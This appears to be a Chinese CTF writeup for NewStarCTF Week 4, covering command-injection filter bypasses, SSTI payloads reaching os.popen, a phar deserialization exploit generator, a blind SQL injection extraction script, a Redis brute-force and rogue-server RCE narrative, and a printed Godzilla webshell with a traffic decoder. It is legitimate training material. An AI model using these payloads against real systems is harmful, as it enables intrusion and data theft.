BUUCTF NewStarCTF 公开赛赛道Week4 Writeup
文章目录
- WEB
- So Baby RCE
- BabySSTI_Two
- UnserializeThree
- 又一个SQL
- PENTEST
- N&O&R
- MISC
- 奇怪的PDF
- Yesec no drumsticks 4
- 还是流量分析
- qsdz's girlfriend 4
WEB
So Baby RCE
<?php
error_reporting(0);
if(isset($_GET["cmd"])){if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){echo "Don't Hack Me";}else{system($_GET["cmd"]);}
}else{show_source(__FILE__);
}
利用cd
切换目录,&&
执行多条,$@
绕过关键字
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ls
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ls%26%26ca$@t%09ffff$@llllaaaaggggg
BabySSTI_Two
跟第三周的题目差不多,多加了一些过滤:https://mochu.blog.csdn.net/article/details/127152796
+
~
class
base
init
...
绕过方法很多,可以参考网上的各种文章,这里用字符串逆序绕过
{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('id').read()}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ls${IFS}-lha${IFS}/').read()}}{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ca$@t${IFS}/fl$@ag_in_h3r3_52daad').read()}}
最后命令执行绕过参考上一题即可
UnserializeThree
只能上传png
源码提示有class.php
<?php
highlight_file(__FILE__);
class Evil{public $cmd;public function __destruct(){if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){//Same point ,can you bypass me again?eval("#".$this->cmd);}else{echo "No!";}}
}file_exists($_GET['file']);
Phar反序列化,eval("#".$this->cmd);
用\r
绕过注释
Phar反序列化可参考:https://mochu.blog.csdn.net/article/details/106909777
<?php
class Evil{public $cmd = "\rsystem('cat /flag');";
}$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new Evil();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("mochu7.txt","mochu7");//添加要压缩的文件及文件内容
$phar->stopBuffering();?>
将生成的1.phar
修改为1.jpg
,上传得到访问路径
/class.php?file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/mochu7.txt
对phar://
协议来说,文件名不重要,只要内容格式是phar
即可触发反序列化
又一个SQL
盲注
/comments.php?name=1/*!*/and/*!*/1
/comments.php?name=1/*!*/and/*!*/0
脚本跑就完事了
import requests
import timeurl = 'http://4ca4ab9f-ef5f-435a-981d-52f9a0a7dcb0.node4.buuoj.cn:81/comments.php?name='
content = ''
for pos in range(500):min_num = 32max_num = 126mid_num = (min_num + max_num) // 2while (min_num < max_num):# payload = '1/*!*/and/*!*/if(ord(mid(database(),{},1))>{},1,0)'.format(pos, mid_num)# payload = '1/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(table_name)/*!*/from/*!*/information_schema.tables/*!*/where/*!*/table_schema=\'wfy\'),{},1))>{},1,0)'.format(pos, mid_num)# payload = '1/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(column_name)/*!*/from/*!*/information_schema.columns/*!*/where/*!*/table_name=\'wfy_admin\'),{},1))>{},1,0)'.format(pos, mid_num)payload = '1/*!*/and/*!*/if(ord(mid((select/*!*/group_concat(text)/*!*/from/*!*/wfy.wfy_comments),{},1))>{},1,0)'.format(pos, mid_num)res_url = url + payloadresp = requests.get(url=res_url)time.sleep(0.5)if '好耶!' in resp.text:min_num = mid_num + 1else:max_num = mid_nummid_num = ((min_num + max_num) // 2)content += chr(min_num)print(content)
因为前面很多中文字符,所以时间有点久
PENTEST
N&O&R
简单的单点渗透题,请提交内网服务器的 proof.txt 文件内容作为 flag
纯静态的站
扫描发现/static/
、/static../
这里是Nginx的Web容器,/static../
就很眼熟了
尝试访问http://1.14.76.220/static../
,果然有目录浏览
那么基本可以确定有Nginx的Off-By-Slash
配置错误:https://cloud.tencent.com/developer/news/795592
在/etc
发现这里装了Openvpn
然后根目录有个/bak
目录
在里面发现了客户端vpn连接的配置文件
下载下来,修改IP为站点IP
fscan
试了下扫10.8.0.0/16
,没有发现其他内网IP,后面尝试利用目录浏览读/etc/hosts
、/etc/network/interfaces
也没有发现其他的网卡IP。但是在找的时候有发现服务器安装了docker
。
尝试扫描docker
默认网卡的网段
发现172.17.0.2:6379
,有Redis
服务且有密码。
简单的找了下站点服务器上没有找到Redis认证密码的提示之类的,尝试用Hydra
爆破Redis密码,字典用的是Seclists
的
试了几个大一点的字典跑出来了密码:tinkerbell
是redis 5
,尝试用Redis主从复制
的RCE:https://github.com/n0b0dyCN/redis-rogue-server
不过上面这个没有认证密码参数,适用于Redis未授权的情况下,用这个改版(exp.so
用的还是上面项目中的):https://github.com/Ridter/redis-rce
题目名称叫N&O&R
,应该是提示:Nginx & Openvpn & Redis
MISC
奇怪的PDF
补PDF文件头
wbStego
,无密码
flag{PDF_1s_n0t_strang3}
Yesec no drumsticks 4
blue
通道的值明显异常,大概都在ASCII可显示字符范围,直接脚本读取出来转换
from PIL import Imagewith Image.open('yellow_pictrue.png') as img:width, height = img.sizefor h in range(height):for w in range(width):b = img.getpixel((w, h))[2]print(chr(b), end="")
还是流量分析
救赎之道,就在其中。 Flag格式:flag{WebShell-Key值_机密文件内容} 例如:flag{d8ff731bdba84bf5_sercet} P.S:请注意Key值并非密码!
哥斯拉流量分析:
- https://blog.csdn.net/u011250160/article/details/120501033
- https://www.freebuf.com/sectool/285693.html
WebShell-Key
在每个请求包中的ctfsogood
的参数中都有
@session_start();
@set_time_limit(0);
@error_reporting(0);function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}$pass='babyshell';
$payloadName='payload';
$key='421eb7f1b8e4b3cf';
if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}
在tcp.stream eq 35
发现读取secret
<?phpfunction response_decode($D,$K){$D = base64_decode($D);for($i=0;$i<strlen($D);$i++){$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}var_dump(gzdecode($D));
}function request_decode($D,$K){$D = base64_decode(urldecode($D));for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}var_dump(gzdecode($D));
}$response_data = 'LbptYjdmMWI4ZketfMqs+Pt4UU45UAFSyKkfUx0RSxrD/S6FNWbN6MfnLmIzYw==';
$request_data = 'LbptYjdmMWI4ZX+sfpKv+HlUtwFXBhmsaLV5NGMpKGVi40opG7QeTRey+0r6rrdjgH8rTma25kl2SH4sHrI0ZgKDNlH7Kxyr8CrFKf8uA9Y0WyvPfytHrPeoea54YmZsvcRnNjdmMQ==';
$key = '421eb7f1b8e4b3cf';request_decode($request_data, $key);
response_decode($response_data, $key);
flag{421eb7f1b8e4b3cf_Godzilla1sS000Int3rEstIng}
qsdz’s girlfriend 4
to_dear.png
使用010 Editor
打开回显CRC校验出错,猜测修改了高度,修改一下高度字段得到完整的图片内容
根据girlfriend.jpg
的图片提示,搜索得到这是魔女之旅的文字
,搜索引擎找一下对照
honey, maybe you can use malbolge
please say in the group:yesec give me money.
- Malbolge - interpreter online:https://malbolge.doleczek.pl/
BUUCTF NewStarCTF 公开赛赛道Week4 Writeup相关推荐
- BUUCTF NewStarCTF 公开赛赛道Week3 Writeup
文章目录 WEEK3 MISC Whats HTTP WebShell! qsdz's girlfriend 3 Yesec no drumsticks 3 混沌的图像 WEB BabySSTI_On ...
- BUUCTF NewStarCTF 公开赛赛道Week5 Writeup
文章目录 WEB Give me your photo PLZ BabySSTI_Three Unsafe Apache So Baby RCE Again Final round MISC 最后的流 ...
- 2022 七校联合NewStarCTF 公开赛赛道 WEEK3|MISC
1.Whats HTTP 2.qsdz's girlfriend 3 3.WebShell! hint提示蚁剑,根据流量包大小排序,逐个打开看 4.Yesec no drumsticks 3 压缩包第 ...
- NewStarCTF 公开赛赛道week3 web writeup
BabySSTI_One 只有一点点过滤 直接附上payload: name={{lipsum.__globals__['__builtins__']['eval']("__import__ ...
- 七校联合NewStarCTF 公开赛赛道WEEK2 web wp
也不知道是不是公开赛和内部赛是不是同一套题,week1的题挺简单的 这里小记一下week2的题目 如有侵权立刻删除 Word-For-You(2 Gen) 这题很简单就带过一下吧,报错注入就行 1'| ...
- NewStarCTF 公开赛赛道 第二周学习记录
额..又是我哦,这次难度对于我来说有点高,一共就做出来这几个,属实有点少,作为菜鸡的我来给大家讲讲我的思路.... CRYPTO 一个还没做出来,还正在研究 MISC Yesec no drumsti ...
- NewStarCTF 公开赛赛道
HTTP 跟着提示一步一步走. Head?Header! 同样是跟着提示. NotPHP <?php error_reporting(0); highlight_file(__FILE__); ...
- NewStarCTF 公开赛赛道 WEEK2 pwn 砍一刀
64位的,保护机制 ida打开,简单的分析下程序流程,让你输入2次回车,一次666,再一次回车进入getcard函数,期间有 时间间隔 此函数就是输入19次回车后v1==999,进入if后会有随机数, ...
- NewStarCTF 公开赛赛道-WEEK1|REVERSE
目录 Hello_Reverse Baby_Re Pyre EasyRe 艾克体悟题 Hello_Reverse 打开ida,shift+f12查看字符串就可以看到flag: 这段数据很可疑: c=[ ...
最新文章
- 一台主机装两个mysql数据库_一台主机装两个mysql数据库
- 脚本中echo显示内容带颜色显示
- Linux从入门到精通系列之SHELL编程awk语法结构及案例解析
- c语言求乘法,急!!!!c语言:求n次多项式的加法和乘法
- B端出行,缺一个盒子汽车么?
- 基于OpenCV的计算机视觉入门(5)图像美化(下)
- Android技术栈总结
- 计算机网络原理精讲学习笔记
- 小白学统计|面板数据分析与Stata应用笔记(一)
- 北京航空航天大学计算机学院保研,北京航空航天大学计算机学院(专业学位)计算机技术保研...
- Android实现ListView下拉刷新思路以及流程
- 机器学习深度学习 常用算法推导
- 2021年印度经济发展研究报告
- 旋转rot和翻转flip
- 【数据产品】观远BI产品调研
- jquery ztree插件使用
- 按名称批量整理手机中导出的照片
- 文都网校2019年计算机考研,2019考研:如何选择专业?
- 学会自己测天气之 起卦篇
- 华为手机备忘录闹钟铃声怎么设置?
热门文章
- C#宽带连接拨号断开重连,可调用
- SIM800模块内置协议栈的开发笔记
- 博士发表2篇以上高水平论文,就可直聘为副教授或教授!高校重磅引才来袭!...
- Python3 实现 Redis 消息队列
- Linux SDIO WIFI Marvell8801/Marvell88w8801(四) --- Linux Wi-Fi架构
- 计算机网络学习1:因特网概述
- 柯杰下赢机器人_柯洁再战人工智能 大胜“一秒识人机器人”
- 计算机usb接口电压不稳定,笔记本的USB接口供电不足或电压不稳怎么处理?
- 用PHP实现单向链表结构
- 常见标点符号的英文表达